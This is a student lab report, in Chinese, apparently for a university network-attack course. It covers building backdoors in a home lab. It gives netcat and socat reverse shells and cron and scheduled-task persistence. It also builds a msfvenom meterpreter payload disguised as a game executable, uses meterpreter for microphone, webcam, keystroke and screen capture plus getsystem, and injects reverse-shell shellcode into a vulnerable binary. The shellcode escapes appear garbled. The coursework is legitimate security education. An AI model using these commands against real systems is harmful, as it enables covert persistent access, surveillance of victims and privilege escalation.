• 2019-2020-2 20175317钟睿文《网络对抗技术》Exp2 后门原理与实践


    2019-2020-2 20175317钟睿文《网络对抗技术》Exp2 后门原理与实践

    1.1 实践目标

    (1)任务一:使用netcat获取主机操作Shell,cron启动

    (2)任务二:使用socat获取主机操作Shell, 任务计划启动

    (3)任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    (4)任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    (5)任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。

    1.2 基础知识

    • 后门
      • 后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
      • 后门工作流程:程序→植入→运行→免杀。
    • 后门工具
      • Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
      • socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
      • Meterpreter:具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

    任务一

    Windows获得Linux Shell

    首先在Windows中使用ipconfig查看其IP地址

    输入图片说明

    使用ncat.exe程序打开监听ncat.exe -l -p 5317,记得在此之前关闭防火墙

    在kali中使用-e选项执行shell程序反弹连接Windows:nc 192.168.0.102 5317 -e /bin/sh

    之后就会发现Windows成功获得kali的shell:

    输入图片说明

    Linux获得Windows Shell

    在kali中使用ifconfig查看IP

    输入图片说明

    使用nc -l -p 5317打开kali的监听
    在Windows中使用ncat.exe -e cmd.exe 192.168.0.115 5317反弹连接kali

    之后就会发现kali成功获得Windows的命令提示

    输入图片说明

    启动cron

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
    Windows系统下监听端口5317,Linux系统下,输入指令crontab -e并选择3进入编辑模式,crontab指令表示增加一条定时任务,-e表示编辑
    在最后一行添加33 * * * * /bin/netcat 192.168.0.102 5317 -e /bin/sh,表示每个小时的第33分钟执行后面的那条指令。

    输入图片说明

    linux在33分钟时连接Windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

    输入图片说明

    使用nc传输数据

    Windows下使用ncat.exe -l 5317监听5317端口,kali使用nc 192.168.0.102 5317反弹连接到Windows的5317端口,连接建立成功后双方可互传数据

    输入图片说明

    使用nc传输文件

    Windows下使用ncat.exe -l 5317 > mess.out监听5317端口,并把收到的数据保存到mess.out中,kali使用nc 192.168.0.102 5317 < mess.in反弹连接到Windows的5317端口,建立成功后,Windows可以收到kali发来的文件

    可以在目录下找到mess.out,打开后可以看到内容与mess.in一致

    输入图片说明

    将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5317端口,Windows反弹连接kali的5317端口,建立成功后,kali可以收到Windows发来的文件

    任务二

    首先下载socat,在老师给的附件里有,下载完成后打开计算机管理,在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。

    输入图片说明

    在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上

    输入图片说明

    新建一个触发器,选择按预定计划,其他设置自行设定

    输入图片说明

    注销账户重新登陆后就可以看到任务已经在运行了

    输入图片说明

    到达触发时间后任务自动运行

    输入图片说明

    在kali输入指令socat - tcp:192.168.0.102:5317,连接到Windows主机的5317端口,此时可以获得Windows的shell

    输入图片说明

    任务三

    使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=5317 -f exe > Counter-Strike20175317.exe,注意这里的IP地址为控制端IP,即kali的IP,后门程序为Counter-Strike20175317.exe

    输入图片说明

    在Windows下执行ncat.exe -lv 5317 > Counter-Strike20175317.exe 指令,查看当前的连接状态

    输入图片说明

    在kali中使用nc 192.168.0.102 5317 < Counter-Strike20175317.exe传输后门程序,传输成功win10的cmd中会出现传输信息

    输入图片说明

    在Kali上使用msfconsole指令进入msf控制台

    • 输入use exploit/multi/handler使用监听模块,设置payload

    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • set LHOST 192.168.0.115,这里用的是生成后门程序时指定的IP

    • set LPORT 5317,同样要使用相同的端口

    输入图片说明

    使用exploit开始监听,运行Windows中的后门程序
    在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell,经测试可以使用

    输入图片说明

    任务四

    使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    获取录音权限

    使用record_mic -d 5指令可以截获一段时长5s的音频,录制完毕会告诉你他的保存路径,打开后就可以发现这是来自未知艺术家的5秒音频 ^皿^

    输入图片说明

    获取摄像头权限

    webcam_snap指令可以使用摄像头进行拍照,拍摄完毕桌面会出现一张JPEG图像,我将笔记本的摄像头驱动关掉了,所以拍出来是这样的  ̄︶ ̄

    输入图片说明

    获取击键记录

    keyscan_start指令可以记录下击键的过程,keyscan_dump则用于读取击键记录(我这里按的是Ctrl+C)

    输入图片说明

    获取截屏

    screenshot指令可以进行截屏

    输入图片说明

    查看用户与提权

    getuid指令可以查看当前用户,getsystem指令进行提权操作

    输入图片说明

    任务五

    使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
    经过参照学长学姐的总结,我在老师提供的Shellcode网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode

    之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

    输入图片说明

    使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中

    perl -e 'print "A" x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    
    

    打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf

    再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号

    之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址

    输入图片说明

    0xffffd38c存放的数据是80cd01b0,那么shellcode地址就是0xffffd390

    修改并生成input文件

    perl -e 'print "A" x 32;print"x90xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
    
    
    

    打开msf控制台依次输入

    `use exploit/multi/handler`,用于设置payload
    `set payload linux/x86/shell_reverse_tcp`
    `set LHOST 127.0.0.1`,设置IP为回环地址
    `set LPORT 4444`,根据代码设置端口
    `exploit` ,设置完成开始监听
    

    使用(cat input;cat) | ./pwn1将input输入,通过管道符“|”,作为pwn1的输入。

    这时在msf控制台可以看到已经成功调取了shell

    输入图片说明

    实验中遇到的问题

    win10系统升级管理员权限时失败了,经过百度和尝试同学们的方法也都失败了,希望自己在接下来的尝试中可以找到原因
    输入图片说明

    实验收获与感想

    本次实验比较简单,原本以为可以很快完成,但是做到任务五时msf控制台始终不显示下面这行

    [*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:48928) at 2020-03-10 07:23:28 -0400
    

    导致shell一直不能被调取,经过检查计算shellcode地址的过程也没有问题,经过百度也没有得到解决,导致我从下午4点卡到了6点,结果吃完饭坐下来同样的步骤又试了一遍竟然成功了(╬▔皿▔)……

    通过本次实验使我对后门有了更加深刻的认识,能从自己的设备上获取摄像头麦克风和键入信息还是蛮可怕的!

    问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    从第三方网站安装软件(使用陌生美女给的U盘并打开里面的文件)

    • (2)例举你知道的后门如何启动起来(win及linux)的方式?

    捆绑到某应用程序或添加到启动项;设定某条件,达到条件激活后门打开,比如本实验中的socat

    • (3)Meterpreter有哪些给你映像深刻的功能?

    在电脑用户不知情的情况下获取计算机的键入情况,麦克风的使用情况与截屏……用户的键入情况被窃取可能会带来信息的泄露,会造成用户隐私以及重要数据外泄。

    • (4)如何发现自己有系统有没有被安装后门?

    最简单的方法是使用杀毒软件查杀,开启监控并及时更新病毒库。
    其次查看自己计算机的端口开放情况,关闭多余的端口
    查看注册表和启动项,清除可疑进程

    参考资料

    使用MSF生成shellcode
    2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
    记第一次提权——03getsystem
    KALI 拿到 shell 后提权操作

  • 相关阅读:
    Linux常用命令
    PHP中的 extends与implements 区别
    IDEA链接MongoDB数据库-实现增删改查
    在IDEA中用三个jar包链接MongoDB数据库——实现增删改查
    MongoDB修改账号密码
    进入 MongoDB
    MongoDB安装
    解决{"error_code":110,"error_msg":"Access token invalid or no longer valid"}
    毕设进度(10.29)
    毕设进度(10.28)
  • 原文地址:https://www.cnblogs.com/20175317zrw/p/12456627.html
Copyright © 2020-2023  润新知